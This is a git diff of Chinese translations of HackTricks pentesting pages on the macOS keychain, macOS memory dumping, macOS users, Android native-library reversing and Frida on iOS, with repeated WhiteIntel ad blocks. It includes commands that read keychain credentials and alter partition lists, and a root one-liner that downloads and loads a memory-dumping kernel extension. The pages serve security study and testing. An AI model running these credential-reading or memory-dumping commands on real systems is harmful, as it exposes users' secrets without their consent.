-### 密码钥匙串访问 +[**WhiteIntel**](https://whiteintel.io)是一个由**暗网**支持的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。 -这些文件虽然没有固有的保护,可以**下载**,但是它们是加密的,需要**用户的明文密码才能解密**。可以使用类似[**Chainbreaker**](https://github.com/n0fate/chainbreaker)的工具进行解密。 +WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。 -## 钥匙串条目保护 +您可以访问他们的网站并免费尝试他们的引擎: -### 访问控制列表(ACLs) +{% embed url="https://whiteintel.io" %} -钥匙串中的每个条目都受**访问控制列表(ACLs)**的管理,这些列表规定了谁可以对钥匙串条目执行各种操作,包括: +--- + +## 主要密钥链 + +* **用户密钥链**(`~/Library/Keychains/login.keycahin-db`),用于存储诸如应用程序密码、互联网密码、用户生成的证书、网络密码和用户生成的公钥/私钥等**特定于用户**的凭据。 +* **系统密钥链**(`/Library/Keychains/System.keychain`),存储**系统范围**的凭据,如WiFi密码、系统根证书、系统私钥和系统应用程序密码。 + +### 密码密钥链访问 + +这些文件虽然没有固有的保护措施,可以被**下载**,但它们是加密的,需要**用户的明文密码才能解密**。可以使用类似[**Chainbreaker**](https://github.com/n0fate/chainbreaker)的工具进行解密。 + +## 密钥链条目保护 + +### ACLs + +密钥链中的每个条目都受**访问控制列表(ACLs)**的管辖,这些列表规定了谁可以对密钥链条目执行各种操作,包括: * **ACLAuhtorizationExportClear**:允许持有者获取密钥的明文。 * **ACLAuhtorizationExportWrapped**:允许持有者获取使用另一个提供的密码加密的明文。 @@ -35,19 +49,19 @@ ACLs还伴随着一个**可信应用程序列表**,这些应用程序可以在不提示的情况下执行这些操作。这可能是: -* **N`il`**(无需授权,**每个人都受信任**) +* **`Nil`**(无需授权,**每个人都受信任**) * 一个**空**列表(**没有人**受信任) * 特定**应用程序**的**列表**。 此外,条目可能包含**`ACLAuthorizationPartitionID`**密钥,用于识别**teamid、apple**和**cdhash**。 -* 如果指定了**teamid**,则为了**在没有**提示的情况下**访问条目**值,使用的应用程序必须具有**相同的teamid**。 +* 如果指定了**teamid**,则为了**在没有**提示的情况下访问条目值,使用的应用程序必须具有**相同的teamid**。 * 如果指定了**apple**,则应用程序需要由**Apple**签名。 * 如果指定了**cdhash**,则**应用程序**必须具有特定的**cdhash**。 -### 创建钥匙串条目 +### 创建密钥链条目 -使用**`Keychain Access.app`**创建**新**条目时,适用以下规则: +当使用**`Keychain Access.app`**创建**新**的**条目**时,适用以下规则: * 所有应用程序都可以加密。 * **没有应用程序**可以导出/解密(无需提示用户)。 @@ -55,7 +69,7 @@ ACLs还伴随着一个**可信应用程序列表**,这些应用程序可以在 * 没有应用程序可以更改ACLs。 * **partitionID**设置为**`apple`**。 -当**应用程序在钥匙串中创建条目**时,规则略有不同: +当**应用程序**在密钥链中创建条目时,规则略有不同: * 所有应用程序都可以加密。 * 只有**创建应用程序**(或明确添加的任何其他应用程序)可以导出/解密(无需提示用户)。 @@ -63,7 +77,7 @@ ACLs还伴随着一个**可信应用程序列表**,这些应用程序可以在 * 没有应用程序可以更改ACLs。 * **partitionID**设置为**`teamid:[teamID here]`**。 -## 访问钥匙串 +## 访问密钥链 ### `security` ```bash @@ -76,24 +90,24 @@ security find-generic-password -a "Slack" -g # Change the specified entrys PartitionID entry security set-generic-password-parition-list -s "test service" -a "test acount" -S ``` -### API +### APIs {% hint style="success" %} -**密钥链枚举和转储**不会生成提示的机密可以使用工具[**LockSmith**](https://github.com/its-a-feature/LockSmith)来完成 +**密钥链枚举和转储**不会生成提示的机密可以使用工具[**LockSmith**](https://github.com/its-a-feature/LockSmith)完成 {% endhint %} 列出并获取每个密钥链条目的**信息**: * API **`SecItemCopyMatching`** 提供每个条目的信息,使用时可以设置一些属性: * **`kSecReturnData`**:如果为true,将尝试解密数据(设置为false可避免潜在的弹出窗口) -* **`kSecReturnRef`**:还可以获取密钥链条目的引用(如果后来发现可以无需弹出窗口解密,则设置为true) +* **`kSecReturnRef`**:还可以获取密钥链条目的引用(如果后来发现可以在无弹出窗口的情况下解密,则设置为true) * **`kSecReturnAttributes`**:获取条目的元数据 * **`kSecMatchLimit`**:返回多少结果 * **`kSecClass`**:密钥链条目的类型 获取每个条目的**ACL**: -* 使用API **`SecAccessCopyACLList`** 可以获取密钥链条目的**ACL**,它将返回一个ACL列表(如`ACLAuhtorizationExportClear`和之前提到的其他ACL),其中每个列表包括: +* 使用API **`SecAccessCopyACLList`** 可以获取密钥链条目的**ACL**,它将返回一个ACL列表(如`ACLAuhtorizationExportClear`和之前提到的其他),其中每个列表包括: * 描述 * **受信任应用程序列表**。这可以是: * 一个应用程序:/Applications/Slack.app @@ -108,7 +122,7 @@ security set-generic-password-parition-list -s "test service" -a "test acount" - 以下是**无需提示即可导出机密**的**要求**: * 如果列出了**1个或更多受信任的**应用程序: -* 需要适当的**授权**(**`Nil`**,或者是授权访问机密信息的应用程序允许列表的一部分) +* 需要适当的**授权**(**`Nil`**,或者是允许访问机密信息的授权应用程序列表的一部分) * 需要代码签名与**PartitionID**匹配 * 需要代码签名与一个**受信任应用程序**的代码签名匹配(或者是正确的KeychainAccessGroup的成员) * 如果**所有应用程序都受信任**: @@ -119,19 +133,31 @@ security set-generic-password-parition-list -s "test service" -a "test acount" - {% hint style="danger" %} 因此,如果列出了**1个应用程序**,则需要在该应用程序中**注入代码**。 -如果**partitionID**中指定了**apple**,则可以使用**`osascript`**访问它,因此任何信任带有apple的partitionID的所有应用程序的内容。也可以使用**`Python`**进行此操作。 +如果**partitionID**中指定了**apple**,则可以使用**`osascript`**访问它,因此任何信任partitionID中带有apple的所有应用程序的内容。也可以使用**`Python`**进行此操作。 {% endhint %} ### 两个额外属性 * **Invisible**:这是一个布尔标志,用于从**UI**密钥链应用程序中**隐藏**条目 * **General**:用于存储**元数据**(因此**未加密**) -* Microsoft将所有刷新令牌以明文形式存储,以访问敏感端点。 +* Microsoft将所有用于访问敏感端点的刷新令牌都以明文形式存储。 ## 参考资料 * [**#OBTS v5.0: "Lock Picking the macOS Keychain" - Cody Thomas**](https://www.youtube.com/watch?v=jKE1ZW33JpY) +## WhiteIntel + +
+ +[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**推动的搜索引擎,提供**免费**功能,用于检查公司或其客户是否已受到**窃取恶意软件**的**侵害**。 + +WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。 + +您可以在以下网址检查他们的网站并尝试他们的引擎,**免费**使用: + +{% embed url="https://whiteintel.io" %} +
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert) @@ -141,7 +167,7 @@ security set-generic-password-parition-list -s "test service" -a "test acount" - * 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) * 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品 -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)上**关注**我们。 -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。 +* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。 +* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.md b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.md index c8e8d6b09..d81ec9f17 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.md @@ -8,21 +8,35 @@ * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品 +* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 * **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +## WhiteIntel + +
+ +[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。 + +WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。 + +您可以访问他们的网站并免费尝试他们的引擎: + +{% embed url="https://whiteintel.io" %} + +--- + ## 内存遗留物 ### 交换文件 -交换文件,例如`/private/var/vm/swapfile0`,在物理内存已满时充当**缓存**。当物理内存没有足够空间时,数据会被转移到交换文件中,然后根据需要重新转移到物理内存中。可能会存在多个交换文件,名称类似于swapfile0、swapfile1等。 +交换文件,例如`/private/var/vm/swapfile0`,在物理内存已满时充当**缓存**。当物理内存没有足够空间时,数据会转移到交换文件,然后根据需要重新转移到物理内存。可能存在多个交换文件,名称类似于swapfile0、swapfile1等。 ### 休眠镜像 -位于`/private/var/vm/sleepimage`的文件在**休眠模式**期间至关重要。**当OS X休眠时,内存中的数据存储在此文件中**。唤醒计算机时,系统会从此文件中检索内存数据,使用户可以继续之前的操作。 +位于`/private/var/vm/sleepimage`的文件在**休眠模式**期间至关重要。**当OS X休眠时,内存中的数据存储在此文件中**。唤醒计算机时,系统会从此文件中检索内存数据,使用户可以继续上次的操作。 值得注意的是,在现代MacOS系统上,出于安全原因,此文件通常是加密的,使恢复变得困难。 @@ -30,7 +44,7 @@ ### 内存压力日志 -MacOS系统中另一个重要的与内存相关的文件是**内存压力日志**。这些日志位于`/var/log`中,包含有关系统内存使用情况和压力事件的详细信息。它们对于诊断与内存相关的问题或了解系统如何随时间管理内存非常有用。 +MacOS系统中另一个重要的与内存相关的文件是**内存压力日志**。这些日志位于`/var/log`中,包含有关系统内存使用情况和压力事件的详细信息。它们对诊断与内存相关的问题或了解系统如何随时间管理内存非常有用。 ## 使用osxpmem转储内存 @@ -60,7 +74,17 @@ sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem sudo su cd /tmp; wget https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip; unzip osxpmem-2.1.post4.zip; chown -R root:wheel osxpmem.app/MacPmem.kext; kextload osxpmem.app/MacPmem.kext; osxpmem.app/osxpmem --format raw -o /tmp/dump_mem ``` -{% endcode %} +## WhiteIntel + +
+ +[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。 + +WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。 + +您可以访问他们的网站并免费尝试他们的引擎: + +{% embed url="https://whiteintel.io" %}
@@ -68,10 +92,10 @@ cd /tmp; wget https://github.com/google/rekall/releases/download/v1.5.1/osxpmem- 支持HackTricks的其他方式: -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! +* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品 +* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-users.md b/macos-hardening/macos-security-and-privilege-escalation/macos-users.md index 3f03fc67f..f64392451 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-users.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-users.md @@ -6,22 +6,36 @@ 支持HackTricks的其他方式: -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! +- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) +- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family) +- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +## WhiteIntel + +
+ +[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**威胁**。 + +WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。 + +您可以访问他们的网站并免费尝试他们的引擎: + +{% embed url="https://whiteintel.io" %} + +--- + ### 常见用户 -* **守护进程**:为系统守护进程保留的用户。默认的守护进程帐户名称通常以“\_”开头: +- **Daemon**:为系统守护程序保留的用户。默认的守护程序帐户名称通常以“\_”开头: ```bash _amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs ``` -* **访客**:具有非常严格权限的访客帐户 +- **Guest**:具有非常严格权限的访客帐户 {% code overflow="wrap" %} ```bash @@ -35,8 +49,8 @@ for i in "${state[@]}"; do sysadminctl -"${i}" status; done; ### 用户权限 -* **标准用户:** 最基本的用户。在尝试安装软件或执行其他高级任务时,此用户需要管理员用户授予权限。他们无法自行执行这些操作。 -* **管理员用户**: 大部分时间作为标准用户运行的用户,但也被允许执行像安装软件和其他管理任务这样的根权限操作。所有属于管理员组的用户都**通过 sudoers 文件获得对 root 的访问权限**。 +* **标准用户:** 最基本的用户。此用户在尝试安装软件或执行其他高级任务时需要管理员用户授予权限。他们无法自行完成这些任务。 +* **管理员用户**: 大部分时间以标准用户身份运行的用户,但也被允许执行像安装软件和其他管理任务这样的根权限操作。所有属于管理员组的用户都**通过 sudoers 文件获得对 root 的访问权限**。 * **Root**: Root 是一个允许执行几乎任何操作的用户(受到诸如系统完整性保护之类的限制)。 * 例如,root 将无法将文件放入 `/System` @@ -49,7 +63,7 @@ for i in "${state[@]}"; do sysadminctl -"${i}" status; done; * 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品 -* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上**关注我们。 -* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。 +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) 上**关注**我们。 +* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。 diff --git a/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md b/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md index a294d974f..b88cfcef8 100644 --- a/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md +++ b/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md @@ -7,22 +7,36 @@ 支持HackTricks的其他方式: * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS&HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品 +* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com) +* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 -**有关更多信息,请查看:[https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html](https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html)** +## WhiteIntel -Android应用程序可以使用本地库,通常用C或C++编写,用于性能关键任务。恶意软件创建者也使用这些库,因为它们比DEX字节码更难逆向工程。本节强调针对Android定制的反向工程技能,而不是教授汇编语言。提供了ARM和x86版本的库以确保兼容性。 +
-### 关键点: +[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。 + +WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。 + +您可以访问他们的网站并免费尝试他们的引擎: + +{% embed url="https://whiteintel.io" %} + +--- + +**欲了解更多信息,请查看:[https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html](https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html)** + +Android应用程序可以使用本地库,通常用C或C++编写,用于性能关键任务。恶意软件创建者也使用这些库,因为它们比DEX字节码更难逆向工程。本节强调针对Android定制的逆向工程技能,而不是教授汇编语言。提供了ARM和x86版本的库以确保兼容性。 + +### 关键要点: - **Android应用程序中的本地库:** - 用于性能密集型任务。 -- 用C或C++编写,使逆向工程具有挑战性。 -- 以`.so`(共享对象)格式存在,类似于Linux二进制文件。 +- 用C或C++编写,使逆向工程变得困难。 +- 以`.so`(共享对象)格式找到,类似于Linux二进制文件。 - 恶意软件创建者更喜欢本地代码以增加分析难度。 - **Java本机接口(JNI)和Android NDK:** @@ -36,10 +50,10 @@ Android应用程序可以使用本地库,通常用C或C++编写,用于性能 - Java声明的本机方法链接到本机函数,实现执行。 - **将Java方法链接到本机函数:** -- **动态链接:** 本地库中的函数名称与特定模式匹配,从而实现自动链接。 +- **动态链接:** 本地库中的函数名称与特定模式匹配,允许自动链接。 - **静态链接:** 使用`RegisterNatives`进行链接,提供函数命名和结构的灵活性。 -- **反向工程工具和技术:** +- **逆向工程工具和技术:** - 工具如Ghidra和IDA Pro有助于分析本地库。 - `JNIEnv`对于理解JNI函数和交互至关重要。 - 提供练习以实践加载库、链接方法和识别本机函数。 @@ -56,17 +70,3 @@ Android应用程序可以使用本地库,通常用C或C++编写,用于性能 - **调试本地库:** - [使用JEB反编译器调试Android本地库](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3) - -
- -从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家) - -支持HackTricks的其他方式: - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS&HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品 -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 - -
diff --git a/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md b/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md index 7dcec0422..dec81621e 100644 --- a/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md +++ b/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md @@ -6,32 +6,46 @@ 支持HackTricks的其他方式: -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +- 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! +- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) +- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品 +- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +## WhiteIntel + +
+ +[**WhiteIntel**](https://whiteintel.io)是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。 + +WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。 + +您可以访问他们的网站并免费尝试他们的引擎: + +{% embed url="https://whiteintel.io" %} + +--- + ## 安装Frida **在越狱设备上安装Frida的步骤:** 1. 打开Cydia/Sileo应用。 -2. 转到Manage -> Sources -> Edit -> Add。 +2. 导航至管理 -> 源 -> 编辑 -> 添加。 3. 输入"https://build.frida.re"作为URL。 -4. 进入新添加的Frida源。 +4. 转到新添加的Frida源。 5. 安装Frida软件包。 如果您使用**Corellium**,您需要从[https://github.com/frida/frida/releases](https://github.com/frida/frida/releases)下载Frida版本(`frida-gadget-[yourversion]-ios-universal.dylib.gz`),并解压缩并复制到Frida要求的dylib位置,例如:`/Users/[youruser]/.cache/frida/gadget-ios.dylib` -安装完成后,您可以在PC上使用命令**`frida-ls-devices`**,检查设备是否显示(您的PC需要能够访问它)。\ -还可以执行**`frida-ps -Uia`**来检查手机的运行进程。 +安装后,您可以在PC上使用命令**`frida-ls-devices`**并检查设备是否显示(您的PC需要能够访问它)。\ +还要执行**`frida-ps -Uia`**来检查手机的运行进程。 -## 无需越狱设备和无需对应用程序打补丁的Frida +## 无需越狱设备和无需修补应用程序的Frida -查看这篇关于如何在非越狱设备上使用Frida而无需对应用程序打补丁的博文:[https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07) +查看这篇关于如何在非越狱设备上使用Frida而无需修补应用程序的博文:[https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07) ## 安装Frida客户端 @@ -40,7 +54,7 @@ pip install frida-tools pip install frida ``` -安装了Frida服务器并连接设备后,**检查**客户端是否**正常工作**: +安装了Frida服务器并连接设备后,**检查**客户端是否**运行**: ```bash frida-ls-devices # List devices frida-ps -Uia # Get running processes @@ -67,7 +81,7 @@ frida-trace -U -W -m '*[* *]' * 自动完成:只需执行 `frida -U ` -
+
* 获取**所有**可用的**类**(按字符串过滤) @@ -91,7 +105,7 @@ console.log("Objective-C runtime is not available."); ``` {% endcode %} -* 获取类的所有方法(按字符串过滤) +* 获取一个类的所有方法(通过字符串过滤) {% code title="/tmp/script.js" %} ```javascript @@ -153,11 +167,11 @@ console.log("loaded"); ### Frida Stalker -[官方文档](https://frida.re/docs/stalker/#:~:text=Stalker%20is%20Frida's%20code%20tracing,every%20instruction%20which%20is%20executed.): Stalker是Frida的代码**追踪引擎**。它允许跟踪线程,**捕获**每个函数,**每个代码块**,甚至每个执行的指令。 +[来自文档](https://frida.re/docs/stalker/):Stalker是Frida的代码**跟踪引擎**。它允许跟踪线程,**捕获**每个函数,**每个代码块**,甚至执行的每条指令。 -你可以在[https://github.com/poxyran/misc/blob/master/frida-stalker-example.py](https://github.com/poxyran/misc/blob/master/frida-stalker-example.py)找到一个实现Frida Stalker的示例。 +您可以在[https://github.com/poxyran/misc/blob/master/frida-stalker-example.py](https://github.com/poxyran/misc/blob/master/frida-stalker-example.py)找到一个实现Frida Stalker的示例。 -这是另一个示例,每次调用函数时都会附加Frida Stalker: +这是另一个示例,每次调用函数时附加Frida Stalker的示例: ```javascript console.log("loading"); const wg_log_addr = Module.findExportByName("", ""); @@ -191,12 +205,12 @@ Stalker.flush(); // this is important to get all events }); ``` {% hint style="danger" %} -这对于调试目的很有趣,但对于模糊测试来说,不断地**`.follow()`**和**`.unfollow()`**是非常低效的。 +这对于调试目的很有趣,但对于模糊测试来说,不断地 **`.follow()`** 和 **`.unfollow()`** 是非常低效的。 {% endhint %} ## [Fpicker](https://github.com/ttdennis/fpicker) 